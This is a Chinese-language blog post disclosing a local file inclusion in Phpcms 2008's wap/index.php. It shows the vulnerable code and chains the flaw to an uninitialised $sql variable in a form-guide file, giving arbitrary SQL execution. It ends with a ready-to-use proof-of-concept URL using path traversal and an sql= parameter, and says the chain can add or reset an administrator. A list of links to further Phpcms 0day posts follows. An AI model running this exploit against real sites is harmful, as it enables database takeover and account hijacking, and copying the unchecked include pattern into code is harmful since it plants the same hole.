最近一直做马后炮了,于是被人鄙视;但没办法,做出头鸟也被人嘲笑!反正这些玩意丢我这里也没啥用,只会烂在硬盘里!于是,只要有点风吹草动,我就公布吧。乌云的文章在此:http://www.wooyun.org/bug.php?action=view&id=497,文章暂时还没有公布详情...于是...我说一下。
Phpcms2008之前已经暴过很多问题了,但这个本地包含一直无人提起,小明曾经在t00ls里核心版块说过,但其实这个本地包含即使不通过旁注也是有办法利用的,那就是增加管理员或者修改管理员密码!
好了,先说本地包含,有几处,我不知道乌云上说的是哪一处,于是我就当其说的是最明显的那处吧。很明显的漏洞,不知道为啥还在phpcms中出现,先看代码:
文件在wap/index.php
<?php
include '../include/common.inc.php';
include './include/global.func.php';
$lang = include './include/lang.inc.php';
if(preg_match('/(mozilla|m3gate|winwap|openwave)/i', $_SERVER['HTTP_USER_AGENT']))
{
header('location:../');//判断,调试时先注释掉,from http://www.oldjun.com
}
wmlHeader($PHPCMS['sitename']);//判断,调试时先注释掉,from http://www.oldjun.com
$action = isset($action) && !empty($action) ? $action : 'index';//直接把action带进来了,from http://www.oldjun.com
if($action)
{
include './include/'.$action.'.inc.php';//本地包含,from http://www.oldjun.com
}
$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html;
echo str_replace('
', "
\n", $html);
wmlFooter();
?>
去掉几处判断条件就可以调试了,action没有进行限制与过滤,然后悲剧的全局:
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
于是可以成功本地包含,剩下来的就是这个本地包含怎么利用的问题了。包含的文件限制为*.inc.php,phpcms的开发者非常喜欢用这个命名规则,于是好多好多文件都是说明什么.inc.php,随便包含一个有利用价值的即可,随便找找:
formguide/admin/include/fields/datetime/field_add.inc.php
<?php
if($dateformat == 'date')
{
$sql = "ALTER TABLE `$tablename` ADD `$field` DATE NOT NULL DEFAULT '0000-00-00'";
}
elseif($dateformat == 'datetime')
{
$sql = "ALTER TABLE `$tablename` ADD `$field` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00'";
}
elseif($dateformat == 'int')
{
if($format)
$sql = "ALTER TABLE `$tablename` ADD `$field` INT UNSIGNED NOT NULL DEFAULT '0'";
}
$db->query($sql);//$sql等于没有初始化,from http://www.oldjun.com
?>
$dateformat不初始化,$sql就没有初始化,于是直接可以执行了:
POC:
http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=select 1
只显示10条记录相关文章
Phpcms 2008 flash_upload.php文件注入漏洞 (浏览: 16021, 评论: 0)
Phpcms 2008 query.php SQL注入漏洞 (浏览: 9253, 评论: 0)
Phpcms 2008 space.api.php SQL注入漏洞 (浏览: 7965, 评论: 0)
很老的一个PHPCMS2008 SP2 0day (浏览: 10067, 评论: 0)
phpcms 0day一枚 (浏览: 13996, 评论: 0)
phpcms2008 sp3通杀0day (浏览: 8563, 评论: 0)
phpcms2008sp4 最新sql注入 (浏览: 9815, 评论: 0)
phpcms2008sp4 IIS下下载任意文件漏洞 (浏览: 11139, 评论: 0)
phpcms2008 sp3通杀0day (浏览: 11008, 评论: 0)